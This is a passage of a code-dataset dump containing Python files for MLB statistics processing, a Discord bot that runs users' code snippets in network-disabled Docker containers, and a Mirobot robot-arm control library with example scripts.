endtime / 1000\r\n if idx % 1000 == 0:\r\n remaining = len(mlb.pdb) - idx\r\n print('{:.3f}% Done [{}:{} Remaining]'.format(idx / len(mlb.pdb) * 100, int((remaining * timeper) // 60), round((remaining * timeper) % 60)))\r\n\r\nmlb.RAAavg = RAAsum / len(mlb.pdb)\r\nmlb.Winsavg = mlb.RAAavg / el.rpw\r\n\r\nprint(\"Writing league file...\")\r\nmlb.write()\r\n\r\nprint(\"Writing team files...\")\r\nfor teamobj in teamdb:\r\n playerdb.extend(playerdbcreator(teamobj))\r\n teamobj.write()\r\n\r\nplayertotaldb = []\r\n\r\nplaytotalfile = open('D:\\mlb data\\League\\Player_Total_Data.csv', 'w', newline='')\r\n\r\nplaytotalcsv = csv.writer(playtotalfile)\r\n\r\n\r\nprint(\"Writing player files...\")\r\nfor idx, playerobj in enumerate(playerdb):\r\n playerobj.write()\r\n if idx > 0:\r\n playerobj.team = playerdb[idx].team.name\r\n playerobj.total(playtotalcsv, idx, mlb.Winsavg)\r\n\r\nplaytotalfile.close()\r\n \r\nprint(\"Done!\")\r\n", "id": "3090354", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "dWAAcreator.py" }, { "content": "import os\r\nimport csv\r\nimport datetime\r\nimport string\r\n\r\ndef JrFixer(des):\r\n\r\n words = des.strip().split()\r\n for idx, word in enumerate(words):\r\n if word == 'Jr.' and not idx == len(words) - 1:\r\n if idx == 2:\r\n words[2] = 'Jr'\r\n elif words[idx+1] in string.punctuation:\r\n words[idx] = 'Jr'\r\n elif words[idx+1] in ['to', 'to.', 'advances', 'advances.', 'scores.', 'scores']:\r\n words[idx] = 'Jr'\r\n elif len(word) > 1 and word[1] == '.' and not idx == len(words) - 1:\r\n if len(words[idx+1]) > len('x.'):\r\n words[idx] = word[0] + 'J'\r\n else:\r\n words[idx] = word[0] + words[idx+1][0]\r\n words[idx+1] = ''\r\n return ' '.join(words)\r\n\r\ndef ChallengeRemover(des):\r\n if 'challenge' in des:\r\n words = des.split(sep=':')\r\n return words[1].strip()\r\n else: return des\r\n\r\ndef leaguecreator(league, day):\r\n leaguecsv = csv.writer(league)\r\n teamfile = open(day)\r\n teamcsv = csv.reader(teamfile)\r\n for idx, row in enumerate(teamcsv):\r\n if idx == 0:\r\n continue\r\n elif 'sacrifice bunt.' in row[16] and not 'baseman' in row[16] and not 'catcher' in row[16] and not 'pitcher' in row[16]:\r\n continue\r\n else:\r\n try:\r\n row[16] = JrFixer(row[16])\r\n row[16] = ChallengeRemover(row[16])\r\n leaguecsv.writerow(row)\r\n except:\r\n print(row[16])\r\n x = input()\r\n return None\r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\nfile = 'D:\\mlb data\\Daily Update\\{}.csv'.format(datetime.date.today())\r\n\r\nleaguefile = open(\"D:\\mlb data\\League\\League_Data.csv\", 'a', newline='')\r\n\r\nleaguecreator(leaguefile, file)\r\n\r\nleaguefile.close()\r\n\r\n", "id": "5214591", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "updater.py" } ]
0
AlexBethel
[ { "content": "import os\nfrom discord import Webhook, AsyncWebhookAdapter\nimport aiohttp\n\n\nclass Logger:\n def __init__(self):\n self.logging_webhook = os.getenv(\"EXECBOT_LOGGING_WEBHOOK\")\n\n async def log_embed(self, embed):\n async with aiohttp.ClientSession() as session:\n webhook = Webhook.from_url(self.logging_webhook, adapter=AsyncWebhookAdapter(session))\n await webhook.send(embed=embed)\n\n async def log_string(self, s):\n async with aiohttp.ClientSession() as session:\n webhook = Webhook.from_url(self.logging_webhook, adapter=AsyncWebhookAdapter(session))\n await webhook.send(s)", "id": "5880315", "language": "Python", "matching_score": 0.10900715738534927, "max_stars_count": 0, "path": "discord/logger.py" }, { "content": "import discord\nfrom discord.ext import commands, tasks\n\n\nclass Ticker(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.index = 0\n self.ticker_messages = [\"@exec help | {{guilds}} guilds | github.com/qbxt/exec\"]\n\n self.ticker_loop.start()\n\n @tasks.loop(seconds=20)\n async def ticker_loop(self):\n m = self.fix_message(self.ticker_messages[self.index % len(self.ticker_messages)])\n await self.bot.change_presence(activity=discord.Game(m))\n self.index %= len(self.ticker_messages)\n self.index += 1\n\n def fix_message(self, message):\n m = message.replace(\"{{guilds}}\", \"{}\".format(len(self.bot.guilds)))\n return m\n\n @ticker_loop.before_loop\n async def before_ticker_loop(self):\n await self.bot.wait_until_ready()\n", "id": "6393510", "language": "Python", "matching_score": 1.5854963064193726, "max_stars_count": 0, "path": "discord/ticker.py" }, { "content": "import datetime\n\nimport discord\nfrom discord.ext import commands\n\nfrom logger import Logger\n\n\nclass Status(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.logger = Logger()\n\n @commands.Cog.listener(\"on_ready\")\n async def on_ready(self):\n print(\"{} is now logged in and ready\".format(self.bot.user))\n\n @commands.Cog.listener(\"on_guild_join\")\n async def on_guild_join(self, guild):\n e = discord.Embed(title=\"joined guild\", color=discord.Color(9510889),\n timestamp=datetime.datetime.now())\n e.add_field(name=\"name\", value=guild.name.lower())\n e.add_field(name=\"members\", value=str(guild.member_count))\n e.add_field(name=\"total guilds\", value=str(len(self.bot.guilds)))\n e.set_footer(text=\"exec\", icon_url=\"https://cdn.discordapp.com/avatars/830972631917789265\"\n \"/5e97d058954d564c39b6e1d91ad09e39.png\")\n await self.logger.log_embed(e)\n\n @commands.command(name=\"guilds\")\n async def _guilds(self, ctx):\n \"\"\"Display guild count\"\"\"\n await ctx.send(\"{} guilds\".format(len(self.bot.guilds)))\n\n # TODO add event queue for log messages (similar to Neptune)\n", "id": "9508999", "language": "Python", "matching_score": 3.3535711765289307, "max_stars_count": 1, "path": "discord/status.py" }, { "content": "import discord\nfrom discord.ext import commands\n\n\nclass Help(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n self.python = \"<:python:831113611107368970>\"\n self.go = \"<:go:831114835852918815>\"\n self.c = \"<:c_:831116196660903987>\"\n self.rust = \"<:rust:831116517679693825>\"\n self.bash = \"<:bash:831116845133332500>\"\n self.js = \"<:nodejs:834358450309300265>\"\n self.cpp = \"<:cpp:917582153544507442>\"\n\n @commands.command(name=\"help\")\n async def _help(self, ctx):\n langs = \"{}, {}, {}, {}, {}, {}, and {}\".format(self.python, self.go, self.c, self.rust, self.bash, self.js, self.cpp)\n description = \"\"\"exec runs code snippets straight from Discord. Each snippet is completely isolated in its own container and runs for a maximum of 45 seconds.\n\nTo run a snippet, type `execute ` (note the space) followed by a [syntax-highlighted code block](https://gist.github.com/matthewzring/9f7bbfd102003963f9be7dbcf7d40e51#syntax-highlighting) (e.g. Python is ` ```py`). After the code inside the block finishes running, the entire `.log` file will be posted.\n\nexec supports {}. \n\"\"\".format(langs)\n e = discord.Embed(color=discord.Color(9510889), description=description)\n e.set_footer(text=\"queue.bot/exec\", icon_url=\"https://cdn.discordapp.com/avatars/830972631917789265\"\n \"/5e97d058954d564c39b6e1d91ad09e39.png\")\n await ctx.send(embed=e)", "id": "607111", "language": "Python", "matching_score": 1.9981743097305298, "max_stars_count": 0, "path": "discord/help.py" }, { "content": "import asyncio\nimport os\nimport threading\n\nimport discord\nfrom discord.ext import commands\nimport re\nimport docker\n\nimport sqlite3\nimport datetime\n\nfrom logger import Logger\nfrom code_processing import _processing\n\n\n# Define a separate function so it can be run on a different thread\ndef get_logs_from_container(container, save_name):\n container.wait()\n\n output = container.logs()\n\n with open(\"playground/{}.log\".format(save_name), mode=\"wb\") as f:\n f.write(output)\n\n\nclass Playground(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.dockerHost = docker.from_env()\n\n self.conn = sqlite3.connect(\"playground.db\")\n self.c = self.conn.cursor()\n self.c.execute('''CREATE TABLE IF NOT EXISTS playground (\n id INTEGER PRIMARY KEY,\n executed_at FLOAT,\n message_id TEXT,\n lang TEXT)''')\n\n self.logger = Logger()\n\n self.lang_emojis = {\"py\": \"<:python:831113611107368970>\",\n \"go\": \"<:go:831114835852918815>\",\n \"c\": \"<:c_:831116196660903987>\",\n \"rs\": \"<:rust:831116517679693825>\",\n \"bash\": \"<:bash:831116845133332500>\",\n \"zsh\": \"<:bash:831116845133332500>\",\n \"js\": \"<:nodejs:834358450309300265>\",\n \"cpp\": \"<:cpp:917582153544507442>\"}\n\n async def log(self, message_id, language):\n \"\"\"Store the message ID and language in the database for statistical purposes\"\"\"\n self.c.execute('''INSERT INTO playground\n (executed_at, message_id, lang)\n VALUES(?, ?, ?)''', (datetime.datetime.now().timestamp(), str(message_id), language.lower()))\n self.conn.commit()\n\n emoji = self.lang_emojis[language.lower()]\n if emoji is None:\n emoji = \"?\"\n\n await self.logger.log_string(emoji)\n\n @commands.command(name=\"ute\")\n @commands.max_concurrency(1, commands.BucketType.user, wait=False)\n async def _exec(self, ctx):\n \"\"\"Execute a code snippet and post the result.\"\"\"\n\n code = \"\"\n lang = \"\"\n # TODO read from JSON\n regexes = [\"```(?:python|py)([\\s\\S]*?)```\",\n \"```(?:c\\+\\+|cpp)([\\s\\S]*?)```\",\n \"```(?:c)([\\s\\S]*?)```\",\n \"```(?:golang|go)([\\s\\S]*?)```\",\n \"```(?:bash|sh)([\\s\\S]*?)```\",\n \"```(?:zsh)([\\s\\S]*?)```\",\n \"```(?:rust|rs)([\\s\\S]*?)```\",\n \"```(?:javascript|js)([\\s\\S]*?)```\"]\n langs = [\"py\",\n \"cpp\",\n \"c\",\n \"go\",\n \"bash\",\n \"zsh\",\n \"rs\",\n \"js\"]\n i = 0\n while i < len(regexes):\n r = re.compile(regexes[i])\n match = r.search(ctx.message.content)\n if match:\n code = match.group(1)\n lang = langs[i]\n break\n\n i += 1\n\n if lang == \"\" or code == \"\":\n await ctx.message.add_reaction(\"❌\")\n await ctx.reply(\"Unknown language. Please use a formatted code block (e.g. ` ```c`).\")\n return\n\n await ctx.message.add_reaction(\"⏳\")\n\n # add default code (#include, etc) if it doesn't have it\n code = _processing(code=code, lang=lang)\n\n os.makedirs(\"playground\", exist_ok=True)\n with open(\"playground/{}.{}\".format(ctx.message.id, lang), mode=\"w\") as f:\n f.write(code)\n\n try:\n self.dockerHost.images.build(path=\"./\",\n dockerfile=\"dockerfiles/{}-Dockerfile\".format(lang),\n buildargs={\"MESSAGE_ID\": str(ctx.message.id)},\n tag=\"execbot/\" + str(ctx.message.id),\n forcerm=True)\n except docker.errors.BuildError:\n await ctx.message.remove_reaction(\"⏳\", ctx.me)\n await ctx.message.add_reaction(\"❌\")\n await ctx.reply(\"Your snippet failed to compile. Please double-check syntax and try again.\")\n\n os.remove(\"playground/{}.{}\".format(ctx.message.id, lang))\n return\n\n container = self.dockerHost.containers.run(\"execbot/\" + str(ctx.message.id),\n name=str(ctx.message.id),\n auto_remove=False,\n stdout=True,\n stderr=True,\n detach=True,\n cpu_shares=512,\n mem_limit=\"512m\",\n device_write_bps=[{\"Path\": \"/dev/sda\", \"Rate\": 500000}],\n network_disabled=True)\n\n t = threading.Thread(target=get_logs_from_container,\n name=str(ctx.message.id),\n args=(container, ctx.message.id))\n t.daemon = True\n t.start()\n\n os.remove(\"playground/{}.{}\".format(ctx.message.id, lang))\n\n time_running = 0\n was_killed = False\n\n while not os.path.exists(\"playground/{}.log\".format(ctx.message.id)):\n await asyncio.sleep(1)\n time_running += 1\n if time_running > 45:\n try:\n container.kill()\n except docker.errors.APIError:\n pass\n was_killed = True\n break\n\n if was_killed:\n await ctx.message.remove_reaction(\"⏳\", ctx.me)\n await ctx.message.add_reaction(\"❌\")\n await ctx.reply(\"Your snippet was terminated because it took too long\".format(ctx.author.id))\n else:\n await ctx.message.remove_reaction(\"⏳\", ctx.me)\n await ctx.message.add_reaction(\"✅\")\n await ctx.reply(file=discord.File(\"playground/{}.log\".format(ctx.message.id)))\n await self.log(ctx.message.id, lang)\n\n try:\n os.remove(\"playground/{}.log\".format(ctx.message.id))\n except FileNotFoundError:\n pass\n\n @_exec.error\n async def _exec_error(self, ctx, error):\n if isinstance(error, discord.ext.commands.errors.MaxConcurrencyReached):\n await ctx.message.add_reaction(\"❌\")\n await ctx.reply(\"You may only run one instance of this command at a time.\")\n else:\n raise error\n", "id": "3045157", "language": "Python", "matching_score": 1.9290183782577515, "max_stars_count": 0, "path": "discord/playground.py" }, { "content": "import re\n\n\ndef _processing(lang, code):\n defaults = {\n \"cpp\": \"\"\"#include <iostream>\n#include <cstdlib>\n#include <cmath>\n#include <cstring>\nusing namespace std;\n\nint main() {{\n {}\n}}\"\"\",\n \"c\": \"\"\"#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n#include <string.h>\n\nint main() {{\n {}\n}}\"\"\",\n \"go\": \"\"\"package main\n \nimport (\n \"fmt\"\n \"math\"\n \"strings\"\n)\n\nvar _, _ = fmt.Printf(\"\")\nvar _ = math.Abs(1)\nvar _ = strings.ToLower(\"\")\n\nfunc main() {{\n {}\n}}\"\"\",\n \"rs\": \"\"\"fn main() {{\n {}\n}}\"\"\"\n }\n\n regexes = {\n \"cpp\": \"(?:int|void) main(?:\\s*)\\(.*\\)\",\n \"c\": \"(?:int|void) main(?:\\s*)\\(.*\\)\",\n \"go\": \"func main(?:\\s*)\\(.*\\)\",\n \"rs\": \"fn main(?:\\s*)\\(.*\\)\"\n }\n\n try:\n default = defaults[lang]\n regex = regexes[lang]\n except KeyError:\n return code\n\n r = re.compile(regex, re.IGNORECASE)\n\n if r.search(code):\n return code\n else:\n return default.format(code)\n", "id": "8211777", "language": "Python", "matching_score": 0.7882176041603088, "max_stars_count": 0, "path": "discord/code_processing.py" } ]
1.757257
VenekavaAke
[ { "content": "'''\n机械臂腕关节的位置控制, 点控 point to point\n'''\nfrom mirobot import Mirobot\nimport time\narm = Mirobot(portname='COM7', debug=True)\narm.home_simultaneous()\n\nprint(\"运动到目标点 A\")\narm.set_wrist_pose(200, 20, 230)\nprint(f\"当前末端在机械臂坐标系下的位姿 {arm.pose}\")\ntime.sleep(1)\n\nprint(\"运动到目标点 B\")\narm.set_wrist_pose(200, 20, 150)\nprint(f\"当前末端在机械臂坐标系下的位姿 {arm.pose}\")\ntime.sleep(1)\n\nprint(\"运动到目标点 C, 指定末端的姿态角\")\narm.set_wrist_pose(150, -20, 230, roll=30.0, pitch=0, yaw=45.0)\nprint(f\"当前末端在机械臂坐标系下的位姿 {arm.pose}\")", "id": "9160891", "language": "Python", "matching_score": 2.43906307220459, "max_stars_count": 5, "path": "examples/set_wrist_pose/set_wrist_pose.py" }, { "content": "'''\n气泵控制\n'''\nfrom mirobot import Mirobot\nimport time\narm = Mirobot(portname='COM7', debug=False)\narm.home_simultaneous()\n\n# 气泵开启\narm.pump_on()\n# 等待5s\ntime.sleep(5)\n# 气泵关闭\narm.pump_off()", "id": "4331668", "language": "Python", "matching_score": 1.80307936668396, "max_stars_count": 5, "path": "examples/air_pump/air_pump.py" }, { "content": "'''\n机械臂回归机械零点与状态查询\n'''\nfrom mirobot import Mirobot\nimport time\n\nprint(\"实例化Mirobot机械臂实例\")\narm = Mirobot(portname='COM7', debug=False)\n\n# 机械臂Home 多轴并行\nprint(\"机械臂Homing开始\")\narm.home_simultaneous(wait=True)\nprint(\"机械臂Homing结束\")\n\n# 状态更新与查询\nprint(\"更新机械臂状态\")\narm.update_status()\nprint(f\"更新后的状态对象: {arm.status}\")\nprint(f\"更新后的状态名称: {arm.status.state}\")", "id": "9931050", "language": "Python", "matching_score": 1.1745268106460571, "max_stars_count": 5, "path": "examples/home/home.py" }, { "content": "'''\n设置机械臂关节的角度, 单位°\n'''\nfrom mirobot import Mirobot\nimport time\narm = Mirobot(portname='COM7', debug=False)\narm.home_simultaneous()\n\n# 设置单个关节的角度\nprint(\"测试设置单个关节的角度\")\narm.set_joint_angle({1:100.0}, wait=True)\nprint(\"动作执行完毕\")\n# 状态查询\nprint(f\"状态查询: {arm.get_status()}\")\n# 停顿2s\ntime.sleep(2)\n\n# 设置多个关节的角度\nprint(\"设置多个关节的角度\")\ntarget_angles = {1:90.0, 2:30.0, 3:-20.0, 4:10.0, 5:0.0, 6:90.0}\narm.set_joint_angle(target_angles, wait=True)\nprint(\"动作执行完毕\")\n# 状态查询\nprint(f\"状态查询: {arm.get_status()}\")\n# 停顿2s\ntime.sleep(2)\n", "id": "12639120", "language": "Python", "matching_score": 3.3574342727661133, "max_stars_count": 5, "path": "examples/set_joint_angle/set_joint_angle.py" }, { "content": "'''\n获取机械臂的状态\n'''\nfrom mirobot import Mirobot\nimport time\narm = Mirobot(portname='COM7', debug=False)\n\n# 注:一定要配置为wait=False,非阻塞式等待\n# 要不然会卡死\narm.home_simultaneous(wait=False)\n# 等待15s\ntime.sleep(15)\n# 打印机械臂当前的状态\nprint(\"获取机械臂的状态 ?\")\nprint(arm.get_status())", "id": "4138234", "language": "Python", "matching_score": 0.6860688328742981, "max_stars_count": 5, "path": "examples/get_status/get_status.py" }, { "content": "import functools\nfrom time import sleep\n\n\nclass BaseRover:\n def __init__(self, mirobot):\n self._mirobot = mirobot\n\n def time_decorator(fn):\n @functools.wraps(fn)\n def time_wrapper(self, *args, **kwargs):\n args_names = fn.__code__.co_varnames[:fn.__code__.co_argcount]\n args_dict = dict(zip(args_names, args))\n\n def get_arg(arg_name, default=None):\n if arg_name in args_dict:\n return args_dict.get(arg_name)\n elif arg_name in kwargs:\n return kwargs.get(arg_name)\n else:\n return default\n\n time = get_arg('time', 0)\n wait = get_arg('wait', True)\n\n output = fn(self, *args, **kwargs)\n\n if time:\n sleep(time)\n self.stop(wait=wait)\n\n return output\n\n return time_wrapper\n\n @time_decorator\n def move_upper_left(self, time=0, wait=True):\n instruction = \"W7\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def move_upper_right(self, time=0, wait=True):\n instruction = \"W9\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def move_bottom_left(self, time=0, wait=True):\n instruction = \"W1\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def move_bottom_right(self, time=0, wait=True):\n instruction = \"W3\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def move_left(self, time=0, wait=True):\n instruction = \"W4\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def move_right(self, time=0, wait=True):\n instruction = \"W6\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def rotate_left(self, time=0, wait=True):\n instruction = \"W10\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def rotate_right(self, time=0, wait=True):\n instruction = \"W11\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def move_forward(self, time=0, wait=True):\n instruction = \"W8\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n @time_decorator\n def move_backward(self, time=0, wait=True):\n instruction = \"W2\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n\n def stop(self, wait=True):\n instruction = \"W0\"\n return self._mirobot.send_msg(instruction, wait=wait, terminator='\\r\\n')\n", "id": "10227150", "language": "Python", "matching_score": 2.509878635406494, "max_stars_count": 21, "path": "mirobot/base_rover.py" }, { "content": "from collections import namedtuple\nfrom typing import NamedTuple\n\nfrom .base_mirobot import BaseMirobot\nfrom .base_rover import BaseRover\nfrom .mirobot_status import MirobotAngles, MirobotCartesians\n\ndim_splitter: NamedTuple = namedtuple('dim_spliter', ['cartesian', 'angle', 'rail'])\ncartesian_type_splitter: NamedTuple = namedtuple('cartesian_type_splitter', ['ptp', 'lin'])\nleft_right_splitter: NamedTuple = namedtuple('left_right_splitter', ['left', 'right'])\nupper_lower_splitter: NamedTuple = namedtuple('upper_lower_splitter', ['upper', 'lower'])\nfour_way_splitter: NamedTuple = namedtuple('four_way_splitter', ['left', 'right', 'upper', 'lower'])\nforward_backward_splitter: NamedTuple = namedtuple('forward_backward_splitter', ['forward', 'backward'])\nrover_splitter: NamedTuple = namedtuple('rover_splitter', ['wheel', 'rotate', 'move'])\n\n\nclass Mirobot(BaseMirobot):\n \"\"\" A class for managing and maintaining known Mirobot operations.\"\"\"\n\n def __init__(self, *base_mirobot_args, **base_mirobot_kwargs):\n \"\"\"\n Initialization of the `Mirobot` class.\n\n Parameters\n ----------\n *base_mirobot_args : Any\n Arguments that are passed into `mirobot.base_mirobot.BaseMirobot`. See `mirobot.base_mirobot.BaseMirobot.__init__` for more details.\n\n **base_mirobot_kwargs : Any\n Keyword arguments that are passed into `mirobot.base_mirobot.BaseMirobot`. See `mirobot.base_mirobot.BaseMirobot.__init__` for more details.\n\n Returns\n -------\n class : `Mirobot`\n\n \"\"\"\n super().__init__(*base_mirobot_args, **base_mirobot_kwargs)\n\n self._rover = BaseRover(self)\n\n self.move = dim_splitter(cartesian=cartesian_type_splitter(ptp=self.go_to_cartesian_ptp,\n lin=self.go_to_cartesian_lin),\n angle=self.go_to_axis,\n rail=self.go_to_slide_rail)\n \"\"\" The root of the move alias. Uses `go_to_...` methods. Can be used as `mirobot.move.ptp(...)` or `mirobot.move.angle(...)` \"\"\"\n\n self.increment = dim_splitter(cartesian=cartesian_type_splitter(ptp=self.increment_cartesian_ptp,\n lin=self.increment_cartesian_lin),\n angle=self.increment_axis,\n rail=self.increment_slide_rail)\n \"\"\" The root of the increment alias. Uses `increment_...` methods. Can be used as `mirobot.increment.ptp(...)` or `mirobot.increment.angle(...)` \"\"\"\n\n self.wheel = four_way_splitter(upper=left_right_splitter(left=self._rover.move_upper_left,\n right=self._rover.move_upper_right),\n lower=left_right_splitter(left=self._rover.move_bottom_left,\n right=self._rover.move_bottom_right),\n left=upper_lower_splitter(upper=self._rover.move_upper_left,\n lower=self._rover.move_bottom_left),\n right=upper_lower_splitter(upper=self._rover.move_upper_right,\n lower=self._rover.move_bottom_right))\n\n self.rover = rover_splitter(wheel=self.wheel,\n rotate=left_right_splitter(left=self._rover.rotate_left,\n right=self._rover.rotate_right),\n move=forward_backward_splitter(forward=self._rover.move_forward,\n backward=self._rover.move_backward))\n \"\"\" The root of the rover alias. Uses methods from `mirobot.base_rover.BaseRover`. Can be used as `mirobot.rover.wheel.upper.right(...)` or `mirobot.rover.rotate.left(...)` or `mirobot.rover.move.forward(...)`\"\"\"\n\n @property\n def state(self):\n \"\"\" The brief descriptor string for Mirobot's state. \"\"\"\n return self.status.state\n\n @property\n def cartesian(self):\n \"\"\" Dataclass that holds the cartesian values and roll/pitch/yaw angles. \"\"\"\n return self.status.cartesian\n\n @property\n def angle(self):\n \"\"\" Dataclass that holds Mirobot's angular values including the rail position value. \"\"\"\n return self.status.angle\n\n @property\n def rail(self):\n \"\"\" Location of external slide rail module \"\"\"\n return self.status.angle.d\n\n @property\n def valve_pwm(self):\n \"\"\" The current pwm of the value module. (eg. gripper) \"\"\"\n return self.status.valve_pwm\n\n @property\n def pump_pwm(self):\n \"\"\" The current pwm of the pnuematic pump module. \"\"\"\n return self.status.pump_pwm\n\n @property\n def motion_mode(self):\n \"\"\" Whether Mirobot is currently in coordinate mode (`False`) or joint-motion mode (`True`) \"\"\"\n return self.status.motion_mode\n\n def go_to_zero(self, speed=None, wait=None):\n \"\"\"\n Send all axes to their respective zero positions.\n\n Parameters\n ----------\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n return self.go_to_axis(0, 0, 0, 0, 0, 0, 0, speed=speed, wait=wait)\n\n def go_to_cartesian_lin(self, x=None, y=None, z=None, a=None, b=None, c=None, speed=None, wait=None):\n \"\"\"\n Linear move to a position in cartesian coordinates. (Command: `M20 G90 G1`)\n\n Parameters\n ----------\n x : Union[float, mirobot.mirobot_status.MirobotCartesians]\n (Default value = `None`) If `float`, this represents the X-axis position.\n If of type `mirobot.mirobot_status.MirobotCartesians`, then this will be used for all positional values instead.\n y : float\n (Default value = `None`) Y-axis position.\n z : float\n (Default value = `None`) Z-axis position.\n a : float\n (Default value = `None`) Orientation angle: Roll angle\n b : float\n (Default value = `None`) Orientation angle: Pitch angle\n c : float\n (Default value = `None`) Orientation angle: Yaw angle\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n if isinstance(x, MirobotCartesians):\n inputs = x.asdict()\n\n else:\n inputs = {'x': x, 'y': y, 'z': z, 'a': a, 'b': b, 'c': c}\n\n return super().go_to_cartesian_lin(**inputs,\n speed=speed, wait=wait)\n \n def set_wrist_pose(self, x=None, y=None, z=None, roll=0.0, pitch=0.0, yaw=0.0, mode='p2p', speed=None, wait=None):\n \"\"\"\n 设置腕关节的位姿\n\n Parameters\n ----------\n x : float\n (Default value = `None`) 腕关节在机械臂基坐标系下的x轴坐标\n y : float\n (Default value = `None`) 腕关节在机械臂基坐标系下的y轴坐标\n z : float\n (Default value = `None`) 腕关节在机械臂基坐标系下的z轴坐标\n roll : float\n (Default value = `None`) 腕关节在机械臂基坐标系下的横滚角(Roll angle)\n pitch : float\n (Default value = `None`) 腕关节在机械臂基坐标系下的俯仰角(Pitch angle) \n yaw : float\n (Default value = `None`) 腕关节在机械臂基坐标系下的偏航角(Yaw angle) \n mode : string\n (Default value = `p2p`) 运动控制的模式, 默认选择p2p\n `p2p`: 点到点的控制(Point to Point)\n `linear`: 直线插补(Linear Interpolation)\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n if mode == \"p2p\":\n # 点控模式 Point To Point\n self.go_to_cartesian_ptp(x=x, y=y, z=z, a=yaw, b=pitch, c=yaw, speed=speed, wait=wait)\n elif mode == \"linear\":\n # 直线插补 Linera Interpolation\n self.go_to_cartesian_lin(x=x, y=y, z=z, a=yaw, b=pitch, c=yaw, speed=speed, wait=wait)\n else:\n # 默认是点到点\n self.go_to_cartesian_ptp(x=x, y=y, z=z, a=yaw, b=pitch, c=yaw, speed=speed, wait=wait)\n\n def go_to_cartesian_ptp(self, x=None, y=None, z=None, a=None, b=None, c=None, speed=None, wait=None):\n \"\"\"\n Point-to-point move to a position in cartesian coordinates. (Command: `M20 G90 G0`)\n\n Parameters\n ----------\n x : Union[float, mirobot.mirobot_status.MirobotCartesians]\n (Default value = `None`) If `float`, this represents the X-axis position.\n If of type `mirobot.mirobot_status.MirobotCartesians`, then this will be used for all positional values instead.\n y : float\n (Default value = `None`) Y-axis position.\n z : float\n (Default value = `None`) Z-axis position.\n a : float\n (Default value = `None`) Orientation angle: Roll angle\n b : float\n (Default value = `None`) Orientation angle: Pitch angle\n c : float\n (Default value = `None`) Orientation angle: Yaw angle\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n\n if isinstance(x, MirobotCartesians):\n inputs = x.asdict()\n\n else:\n inputs = {'x': x, 'y': y, 'z': z, 'a': a, 'b': b, 'c': c}\n\n return super().go_to_cartesian_ptp(**inputs,\n speed=speed, wait=wait)\n\n def go_to_axis(self, x=None, y=None, z=None, a=None, b=None, c=None, d=None, speed=None, wait=None):\n \"\"\"\n Send all axes to a specific position in angular coordinates. (Command: `M21 G90`)\n\n Parameters\n ----------\n x : Union[float, mirobot.mirobot_status.MirobotAngles]\n (Default value = `None`) If `float`, this represents the angle of axis 1.\n If of type `mirobot.mirobot_status.MirobotAngles`, then this will be used for all positional values instead.\n y : float\n (Default value = `None`) Angle of axis 2.\n z : float\n (Default value = `None`) Angle of axis 3.\n a : float\n (Default value = `None`) Angle of axis 4.\n b : float\n (Default value = `None`) Angle of axis 5.\n c : float\n (Default value = `None`) Angle of axis 6.\n d : float\n (Default value = `None`) Location of slide rail module.\n speed : int\n (Default value = `None`) The speed in which the Mirobot moves during this operation. (mm/s)\n wait : bool\n (Default value = `None`) Whether to wait for output to return from the Mirobot before returning from the function. This value determines if the function will block until the operation recieves feedback. If `None`, use class default `BaseMirobot.wait` instead.\n\n Returns\n -------\n msg : List[str] or bool\n If `wait` is `True`, then return a list of strings which contains message output.\n If `wait` is `False`, then return whether sending the message succeeded.\n \"\"\"\n if isinstance(x, MirobotAngles):\n inputs = x.asdict()\n\n else:\n inputs = {'x': x, 'y': y, 'z': z, 'a': a, 'b': b, 'c': c, 'd': d}\n\n return super().go_to_axis(**inputs,\n speed=speed, wait=wait)\n\n def increment_cartesian_lin(self, x=None, y=None, z=None, a=None, 